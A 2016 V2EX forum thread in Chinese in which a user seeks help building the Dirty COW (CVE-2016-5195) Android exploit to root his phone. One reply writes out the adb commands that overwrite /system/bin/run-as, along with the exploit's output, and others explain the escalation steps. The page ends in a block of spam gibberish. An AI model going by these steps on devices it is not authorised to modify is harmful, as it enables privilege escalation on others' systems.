安卓开发高手帮忙看一下 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
postlive
V2EX    Android

安卓开发高手帮忙看一下

  •  
  •   postlive 2016-10-31 15:15:17 +08:00 12744 次点击
    这是一个创建于 3269 天前的主题,其中的信息可能已经有所发展或是发生改变。
    https://github.com/timwr/CVE-2016-5195/archive/master.zip

    哪位高手帮忙把这个编译一下




    这个在 ndk 下可以接编译成 apk 吗
    42 条回复    2016-11-04 22:31:58 +08:00
    postlive
        1
    postlive  
    OP
       2016-10-31 15:19:55 +08:00 via Android
    高手都帮忙看一下 我把 C 直接编译成二进制执行之后 没效果 可能需要弄成 apk 两个 C 配合运行吧
    michaelzhou
        2
    michaelzhou  
       2016-10-31 15:42:57 +08:00   1
    看了一下 makefile ,编译完成应该会有两个 so 文件,不会生成 APK 文件,你需要编写一个 Android Project ,然后通过 JNI 来调用。
    michaelzhou
        3
    michaelzhou  
       2016-10-31 15:49:09 +08:00
    用 ndk 编译完成, push 到手机使用 adb shell 执行:
    $ make root
    ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21
    [arm64-v8a] Install : dirtycow => libs/arm64-v8a/dirtycow
    [arm64-v8a] Install : run-as => libs/arm64-v8a/run-as
    [x86_64] Install : dirtycow => libs/x86_64/dirtycow
    [x86_64] Install : run-as => libs/x86_64/run-as
    [mips64] Install : dirtycow => libs/mips64/dirtycow
    [mips64] Install : run-as => libs/mips64/run-as
    [armeabi-v7a] Install : dirtycow => libs/armeabi-v7a/dirtycow
    [armeabi-v7a] Compile thumb : run-as <= run-as.c
    [armeabi-v7a] Executable : run-as
    [armeabi-v7a] Install : run-as => libs/armeabi-v7a/run-as
    [armeabi] Compile thumb : dirtycow <= dirtycow.c
    [armeabi] Executable : dirtycow
    [armeabi] Install : dirtycow => libs/armeabi/dirtycow
    [armeabi] Compile thumb : run-as <= run-as.c
    [armeabi] Executable : run-as
    [armeabi] Install : run-as => libs/armeabi/run-as
    [x86] Compile : dirtycow <= dirtycow.c
    [x86] Executable : dirtycow
    [x86] Install : dirtycow => libs/x86/dirtycow
    [x86] Compile : run-as <= run-as.c
    [x86] Executable : run-as
    [x86] Install : run-as => libs/x86/run-as
    [mips] Compile : dirtycow <= dirtycow.c
    [mips] Executable : dirtycow
    [mips] Install : dirtycow => libs/mips/dirtycow
    [mips] Compile : run-as <= run-as.c
    [mips] Executable : run-as
    [mips] Install : run-as => libs/mips/run-as
    adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
    * daemon not running. starting it now on port 5037 *
    * daemon started successfully *
    [100%] /data/local/tmp/dirtycow
    adb push libs/armeabi/run-as /data/local/tmp/run-as
    [100%] /data/local/tmp/run-as
    adb shell 'chmod 777 /data/local/tmp/run-as'
    adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'
    warning: new file size (13776) and file old size (14192) differ

    size 14192


    [*] mmap 0xf707c000
    [*] exploit (patch)
    [*] currently 0xf707c000=464c457f
    [*] madvise = 0xf707c000 14192
    [*] madvise = 0 1048576
    [*] /proc/self/mem -1048576 1048576
    [*] exploited 0xf707c000=464c457f
    adb shell /system/bin/run-as
    run-as: Usage:
    run-as <package-name> [--user <uid>] <command> [<args>]
    tscat
        4
    tscat  
       2016-10-31 16:08:54 +08:00
    看了一下,是提权漏洞?
    这个根本就不是 Android Project , run-as.c 应该是打印 uid ,来验证漏洞是否能够提权吧。
    基本上楼上都说了。
    postlive
        5
    postlive  
    OP
       2016-10-31 16:40:08 +08:00 via Android
    @michaelzhou @tscat 我直接把这两个 C 编译成两个二进制文件
    我运行到这一条命令 /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as 之后 没反应 请问为什么 这条命令是什么意思呢
    postlive
        6
    postlive  
    OP
       2016-10-31 16:41:18 +08:00 via Android
    @tscat 是提权的 运行 /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as 之后没反应 不打印 uid
    postlive
        7
    postlive  
    OP
       2016-10-31 16:50:42 +08:00 via Android
    @michaelzhou 我如果编译成.so 的话 是不是还要编写个 APK 来运行它 是吧
    michaelzhou
        8
    michaelzhou  
       2016-10-31 16:57:05 +08:00
    @postlive 首先你得理解这个 CVE 提权的过程。重点在 dirtycow ,他是 exploit 的执行者,目的是将系统的 run-as 替换成自己编写的 run-as 。
    michaelzhou
        9
    michaelzhou  
       2016-10-31 17:02:11 +08:00
    @postlive 系统分配给 adb 的 uid ,是没有权限更改 /system/bin 下任何东西的,/data/local/tmp 下的东西可以随便来,所以,首先将 exploit 所需要的东西先拷贝到 /data/local/tmp/,然后 dirtycow 将 /system/bin/run-as 替换成 /data/local/tmp/run-as 。然后被替换的 run-as 就可以被 APK 应用层直接调用了( run-as --uid root )。
    postlive
        10
    postlive  
    OP
       2016-10-31 17:27:41 +08:00 via Android
    @michaelzhou 高手,那现在这个 run-as 是人家编写好的 想办法用这个 run-as 替换 system/bin/的 就可以调用它执行 root 权限的命令了?
    michaelzhou
        11
    michaelzhou  
       2016-10-31 17:32:14 +08:00
    @postlive 可以这么理解。但是 “想办法用这个 run-as 替换 system/bin/的” 很难。
    postlive
        12
    postlive  
    OP
       2016-10-31 17:37:32 +08:00
    @michaelzhou “ 首先你得理解这个 CVE 提权的过程。重点在 dirtycow ,他是 exploit 的执行者,目的是将系统的 run-as 替换成自己编写的 run-as 。”
    /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as
    请问,这条命令是在执行用自己的 run-as 替换系统的 是吧?
    devzero
        13
    devzero  
       2016-10-31 17:37:57 +08:00 via Android
    在 issues 那里有一个编译好的二进制文件,可以去看看
    michaelzhou
        14
    michaelzhou  
       2016-10-31 17:41:34 +08:00
    @postlive 是。
    8rB61FLBPVSxW2C8
        15
    8rB61FLBPVSxW2C8  
       2016-10-31 18:11:22 +08:00
    因为 selinux 的存才,这个提权能做的实在太有限,然而在 6.0 上就算过了 selinux ,也还得过 dm-verity 。
    postlive
        16
    postlive  
    OP
       2016-10-31 18:17:50 +08:00
    @devzero 谢谢 刚才仔细看了一下评论 和看雪上说的一样 SELinux 没法破 这个脚本只有作者自己执行成功了,要是刚开始就看 issues 的话就不会走弯路了
    postlive
        17
    postlive  
    OP
       2016-10-31 18:20:35 +08:00
    @HackerOO7 是的,刚在看雪上看到漏洞时 评论里面就有人提到 selinux ,当时没在意,是我想的太简单了,现在得另辟蹊径
    postlive
        18
    postlive  
    OP
       2016-10-31 18:32:43 +08:00
    @michaelzhou 如果不写 APK ,直接手动一步一步的执行.C 编译后的二进制文件 是不是会达到同样的效果?我重新找到一个 POC ,我准备把里面的 5 个.C 一个个编译成安卓可执行的二进制,再去运行每条命令
    可行不
    kmahyyg
        19
    kmahyyg  
       2016-10-31 22:47:26 +08:00 via Android   1
    你去 dirtycow.github.io 的 wiki 里,有个 r2 的 io plugin 可以使用,安卓 6.0.1_r72(RR)在 termux 下用 clang 编译测试成功提权。
    postlive
        20
    postlive  
    OP
       2016-10-31 22:55:31 +08:00
    @kmahyyg 谢谢 我明天试一下
    w99wen
        21
    w99wen  
       2016-11-01 18:25:34 +08:00
    我用自己的 vps ,没关闭 SELinux ,结果就是这个漏洞然并卵
    postlive
        22
    postlive  
    OP
       2016-11-02 17:32:44 +08:00 via Android
    @michaelzhou 高手 能帮忙编译一下这个吗 https://github.com/nowsecure/dirtycow 我编译不过去 里面有些.h 文件找不到 应该用啥编译
    michaelzhou
        23
    michaelzhou  
       2016-11-02 18:13:03 +08:00
    @postlive 将 Git 仓库放到你自己的 ndk 目录的 sources 目录下,然后用 ndk-build 命令进行编译。建议将 ndk-build 可执行文件的路径添加到 PATH 。编译时找不到头文件,及有可能是你的项目放的目录不对。

    例如,我放的目录是:

    ~/Library/Android/sdk/ndk-bundle/sources/third_party/CVE-2016-5195

    然后,你给出的这个 Github 仓库,作者已经写好了 Makefile ,所以直接用 make 命令就可以直接编译。
    也就是说,在 ~/Library/Android/sdk/ndk-bundle/sources/third_party/CVE-2016-5195 下 执行 make root 。

    敲完 make root 后,就可以 “坐和放宽” 了。

    FYI :编译以后的 output 在 ./libs 和 ./obj 目录下。
    postlive
        24
    postlive  
    OP
       2016-11-02 18:20:27 +08:00 via Android
    多谢了 我一会儿试一下 只是他里面有些.h 头文件是第三方库的是吧 我在 Android studio 和 GCC 下有些.h 都找不到 能不能麻烦您编译一下,根据您的经验看看到底是啥原因,最好能编译好发给我 谢谢啦 [email protected]
    michaelzhou
        25
    michaelzhou  
       2016-11-02 18:49:53 +08:00
    @postlive 已发
    postlive
        26
    postlive  
    OP
       2016-11-02 19:54:12 +08:00 via Android
    @michaelzhou 好人有好报
    postlive
        27
    postlive  
    OP
       2016-11-02 20:54:01 +08:00 via Android
    @michaelzhou 老大,麻烦把这个也编译一下 https://github.com/jcadduono/android_external_dirtycow/archive/android-6.0.zip
    这个是发布者在自己的 V20 上面测试过的 V20 和 G5 的环境应该一样
    如果能成功换掉原厂 recovery 那就可以完美 root 你将是世界第一人
    [email protected] 谢谢了
    postlive
        28
    postlive  
    OP
       2016-11-03 13:25:45 +08:00 via Android
    michaelzhou
        29
    michaelzhou  
       2016-11-03 13:42:16 +08:00
    @postlive 已发。
    postlive
        30
    postlive  
    OP
       2016-11-03 14:30:54 +08:00
    @michaelzhou 大神,您编译出来的只有 2 个文件 这里面不是有 5 个么
    adb push dirtycow /data/local/tmp
    adb push recowvery-applypatch /data/local/tmp
    adb push recowvery-app_process64 /data/local/tmp
    adb push recowvery-run-as /data/local/tmp
    michaelzhou
        31
    michaelzhou  
       2016-11-03 14:41:44 +08:00
    @postlive 另外几个一直报错,不知为何,我没仔细看错误原因。
    粗看一下,大概是因为引用的头文件在源码环境下才有,我个人电脑的环境没有 AOSP 的源码编译环境,只能帮你到这里了。
    postlive
        32
    postlive  
    OP
       2016-11-03 14:45:41 +08:00
    @michaelzhou 是的,我也觉得是缺少.h 头文件 那么请问我怎么下载 AOSP 里面有好多 我不知道安装哪个 麻烦指点迷津
    谢谢了
    michaelzhou
        33
    michaelzhou  
       2016-11-03 21:28:22 +08:00
    postlive
        34
    postlive  
    OP
       2016-11-03 23:25:53 +08:00
    @michaelzhou 大神,经过你的指点,我在 AOSP 源里面找到了 只是应该把.h 文件放到什么地方 比如#include <cutils/properties.h> NDK 下就有好几个 cutils 文件夹
    postlive
        35
    postlive  
    OP
       2016-11-03 23:30:58 +08:00
    @michaelzhou 找到的有些.h 直接是个空文件


    像这个 AOSP 下面有这么多 到底要哪一个呢
    postlive
        36
    postlive  
    OP
       2016-11-04 00:54:25 +08:00
    @michaelzhou 放的地方我找到了 只是又出现了一些新的问题 代码报错 编译不过去 这个.C 到底是 C 写的还是 C++写的? 是不是要用到其它的什么编译器
    postlive
        37
    postlive  
    OP
       2016-11-04 01:57:33 +08:00 via Android
    @kmahyyg 能把你编译好的发一下吗
    postlive
        38
    postlive  
    OP
       2016-11-04 01:57:57 +08:00 via Android
    kmahyyg
        39
    kmahyyg  
       2016-11-04 07:22:32 +08:00 via Android
    @postlive 抱歉,已删除
    postlive
        40
    postlive  
    OP
       2016-11-04 17:05:33 +08:00 via Android
    @kmahyyg 我想请教一下您是在什么环境下编译的 这个是在 Android6.0.1 r72 终端下用 clang ? 我在 Ubuntu ndk 下编译不过去 代码报错
    postlive
        41
    postlive  
    OP
       2016-11-04 17:08:45 +08:00 via Android
    @kmahyyg 这个能过 SELinux 吗 你测试的设备 bootloder 解锁了吗
    kmahyyg
        42
    kmahyyg  
       2016-11-04 22:31:58 +08:00 via Android
    @postlive termux 安卓客户端

    apt update
    apt-get install clang
    ./build.sh


    设备代号 ido BL 已解锁
    RR 系统默认 selinux permissive.......
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     946 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 27ms UTC 19:27 PVG 03:27 LAX 12:27 JFK 15:27
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86